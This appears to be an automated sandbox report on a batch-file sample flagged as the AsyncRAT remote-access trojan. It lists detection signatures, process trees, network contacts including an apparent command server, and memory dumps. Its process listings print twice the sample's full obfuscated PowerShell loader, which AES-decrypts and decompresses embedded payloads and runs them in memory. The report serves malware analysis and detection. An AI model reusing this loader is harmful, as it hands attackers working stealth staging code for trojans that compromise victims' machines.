Malware Analysis Report

2025-01-02 12:15

Sample ID 240417-btgddabc9z
Target 59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat
SHA256 59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951
Tags
asyncrat default rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951

Threat Level: Known bad

The file 59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat was found to be: Known bad.

Malicious Activity Summary

asyncrat default rat

AsyncRat

Detects executables attemping to enumerate video devices using WMI

Async RAT payload

Blocklisted process makes network request

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

N/A

Analysis: static1

Detonation Overview

Reported

2024-04-17 01:26

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-17 01:25

Reported

2024-04-17 01:28

Platform

win7-20240221-en

Max time kernel

118s

Max time network

119s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network

N/A

Files

memory/2212-4-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

memory/2212-5-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

memory/2212-6-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

memory/2212-7-0x0000000002D00000-0x0000000002D80000-memory.dmp

memory/2212-8-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

memory/2212-9-0x0000000002D00000-0x0000000002D80000-memory.dmp

memory/2212-10-0x0000000002D00000-0x0000000002D80000-memory.dmp

memory/2212-11-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp

memory/2212-12-0x0000000002D00000-0x0000000002D80000-memory.dmp

memory/2212-13-0x0000000002D00000-0x0000000002D80000-memory.dmp

memory/2212-14-0x0000000002D00000-0x0000000002D80000-memory.dmp

memory/2212-15-0x0000000002D00000-0x0000000002D80000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-17 01:25

Reported

2024-04-17 01:28

Platform

win10v2004-20240412-en

Max time kernel

92s

Max time network

146s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

Network

Country Destination Domain Proto
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 21.114.53.23.in-addr.arpa udp
DE 194.48.251.169:4449 tcp
US 8.8.8.8:53 169.251.48.194.in-addr.arpa udp
BE 2.17.197.240:80 tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/4148-6-0x0000016837A70000-0x0000016837A92000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yrtyarea.0hc.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4148-10-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

memory/4148-12-0x00000168359F0000-0x0000016835A00000-memory.dmp

memory/4148-11-0x00000168359F0000-0x0000016835A00000-memory.dmp

memory/4148-13-0x0000016837EA0000-0x0000016837EE4000-memory.dmp

memory/4148-14-0x0000016837F70000-0x0000016837FE6000-memory.dmp

memory/1216-24-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

memory/1216-26-0x00000193357E0000-0x00000193357F0000-memory.dmp

memory/1216-25-0x00000193357E0000-0x00000193357F0000-memory.dmp

memory/1216-29-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

memory/4148-32-0x00007FFD1D720000-0x00007FFD1D7DE000-memory.dmp

memory/4148-34-0x0000016837E60000-0x0000016837E78000-memory.dmp

memory/4148-33-0x0000016837E50000-0x0000016837E60000-memory.dmp

memory/4148-31-0x00007FFD1F510000-0x00007FFD1F705000-memory.dmp

memory/4148-30-0x0000016837C30000-0x0000016837C38000-memory.dmp

memory/4148-36-0x00000168359F0000-0x0000016835A00000-memory.dmp

memory/4148-37-0x00007FFD11510000-0x00007FFD11529000-memory.dmp

memory/4148-38-0x00000168359F0000-0x0000016835A00000-memory.dmp

memory/4148-40-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp

memory/4148-42-0x00000168359F0000-0x0000016835A00000-memory.dmp

memory/4148-43-0x00000168359F0000-0x0000016835A00000-memory.dmp

memory/4148-44-0x00000168359F0000-0x0000016835A00000-memory.dmp

memory/4148-45-0x00000168359F0000-0x0000016835A00000-memory.dmp